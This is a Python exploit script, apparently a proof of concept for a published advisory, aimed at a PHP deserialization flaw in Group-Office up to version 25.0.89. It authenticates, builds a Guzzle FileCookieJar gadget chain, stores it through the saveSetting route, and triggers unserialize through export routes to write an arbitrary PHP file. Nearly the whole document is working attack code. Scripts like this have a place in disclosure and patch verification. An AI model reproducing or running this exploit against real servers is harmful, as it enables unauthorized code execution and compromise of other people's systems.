#!/usr/bin/env python3 """ Group-Office RCE via PHP Deserialization (GHSA-h22j-frrf-5vxq) Affected: <= 25.0.89 Chain: AbstractSettingsCollection._loadData() [go/base/model/AbstractSettingsCollection.php L88] unserialize("serialized:" + payload) -> GuzzleHttp.Cookie.FileCookieJar.__destruct() -> save($this->filename) -> file_put_contents(shell_path, json([{Value: ""}])) -> PHP ignores JSON wrapper, executes block -> RCE Setting key trigger: GO.Base.Export.Settings [go/base/export/Settings.php] -- prefix='' Properties: export_include_headers / export_human_headers / export_include_hidden Loaded by AbstractModelController::actionExport() L693 -> any route: //export """ import requests import re import sys # ─── Config ─────────────────────────────────────────────────────────────────── TARGET = "http://" USERNAME = "" PASSWORD = "" # /tmp is writable by www-data and confirmed working # Not web-accessible, but proves arbitrary file write (and RCE via chaining) SHELL_PATH = "/tmp/shell.php" SHELL_URL = f"{TARGET}/shell.php" # 404 expected; /tmp is not webroot SHELL_CODE = "" CMD = "id" # ────────────────────────────────────────────────────────────────────────────── # ─── PHP serializer helpers ─────────────────────────────────────────────────── def _s(val: bytes) -> bytes: return b's:' + str(len(val)).encode() + b':"' + val + b'";' def _i(val: int) -> bytes: return b'i:' + str(val).encode() + b';' def _b(val: bool) -> bytes: return b'b:' + (b'1' if val else b'0') + b';' def _N() -> bytes: return b'N;' def _priv(cls: str, prop: str) -> bytes: """PHP private property: \x00ClassName\x00propName""" return b'\x00' + cls.encode() + b'\x00' + prop.encode() # ─── Gadget chain ───────────────────────────────────────────────────────────── def build_gadget_chain(shell_path: str, shell_code: str) -> bytes: """ GuzzleHttp.Cookie.FileCookieJar.__destruct() -> save($this->filename) -> file_put_contents($filename, json_encode([cookie.toArray()])) JSON output: [{"Name":"pwn","Value":"","Domain":"localhost",...}] PHP only executes the block; surrounding JSON is ignored. shouldPersist() bypass: storeSessionCookies=true + Discard=false """ CLS_SET = r"GuzzleHttp\Cookie\SetCookie" # len=27 CLS_JAR = r"GuzzleHttp\Cookie\FileCookieJar" # len=31 CLS_PARENT = r"GuzzleHttp\Cookie\CookieJar" # len=27 # SetCookie.$data (private, 9 keys) cookie_data = ( b'a:9:{' + _s(b'Name') + _s(b'pwn') + _s(b'Value') + _s(shell_code.encode()) + _s(b'Domain') + _s(b'localhost') + _s(b'Path') + _s(b'/') + _s(b'Max-Age') + _N() + _s(b'Expires') + _i(9999999999) + _s(b'Secure') + _b(False) + _s(b'Discard') + _b(False) + _s(b'HttpOnly') + _b(False) + b'}' ) set_cookie_obj = ( b'O:' + str(len(CLS_SET)).encode() + b':"' + CLS_SET.encode() + b'":1:{' + _s(_priv(CLS_SET, 'data')) + cookie_data + b'}' ) # FileCookieJar: 4 props # \x00GuzzleHttp\Cookie\CookieJar\x00cookies (36 bytes) # \x00GuzzleHttp\Cookie\CookieJar\x00strictMode (39 bytes) # \x00GuzzleHttp\Cookie\FileCookieJar\x00filename (41 bytes) # \x00GuzzleHttp\Cookie\FileCookieJar\x00storeSessionCookies (52 bytes) cookies_arr = b'a:1:{i:0;' + set_cookie_obj + b'}' return ( b'O:' + str(len(CLS_JAR)).encode() + b':"' + CLS_JAR.encode() + b'":4:{' + _s(_priv(CLS_PARENT, 'cookies')) + cookies_arr + _s(_priv(CLS_PARENT, 'strictMode')) + _b(False) + _s(_priv(CLS_JAR, 'filename')) + _s(shell_path.encode()) + _s(_priv(CLS_JAR, 'storeSessionCookies')) + _b(True) + b'}' ) # ─── Auth ───────────────────────────────────────────────────────────────────── def login(session: requests.Session) -> str: session.post(f"{TARGET}/index.php?r=auth/login", data={"username": USERNAME, "password": PASSWORD}, allow_redirects=False) r = session.get(f"{TARGET}/index.php") m = re.search(r'security_token:"([^"]+)"', r.text) if not m: print("[-] Login failed / token not found") sys.exit(1) token = m.group(1) print(f"[+] Logged in. Token: {token} Cookie: {dict(session.cookies)}") return token # ─── Attack steps ───────────────────────────────────────────────────────────── def step1_store(session: requests.Session, token: str, payload: bytes) -> None: """ Store serialized FileCookieJar as value of 'export_include_headers'. Route: core/saveSetting params: name= value= user_id=0 """ value = b"serialized:" + payload r = session.post( f"{TARGET}/index.php", params={"r": "core/saveSetting", "security_token": token}, headers={"X-Requested-With": "XMLHttpRequest"}, data={ "name": "export_include_headers", "value": value.decode("latin-1"), "user_id": "0", "security_token": token, }, ) print(f" [store] HTTP {r.status_code}: {r.text[:120]}") def step2_trigger(session: requests.Session, token: str) -> None: """ Trigger AbstractModelController::actionExport() L693 -> GO.Base.Export.Settings::load() -> _loadData() -> unserialize() -> FileCookieJar created; on GC __destruct() fires -> file_put_contents """ routes = [ "files/file/export", "email/account/export", "reminders/reminder/export", "files/folder/export", ] for route in routes: r = session.get( f"{TARGET}/index.php", params={"r": route, "security_token": token}, headers={"X-Requested-With": "XMLHttpRequest"}, ) print(f" [trigger] {route}: HTTP {r.status_code}") if r.status_code == 200: break # ─── Main ───────────────────────────────────────────────────────────────────── def main(): print("=" * 60) print("Group-Office Deserialization RCE — GHSA-h22j-frrf-5vxq") print("=" * 60) session = requests.Session() token = login(session) payload = build_gadget_chain(SHELL_PATH, SHELL_CODE) print(f"\n[+] Gadget chain: {len(payload)} bytes") print("\n[1] Storing FileCookieJar payload -> export_include_headers") step1_store(session, token, payload) print("\n[2] Triggering GO\\Base\\Export\\Settings::load() -> unserialize()") step2_trigger(session, token) if __name__ == "__main__": main()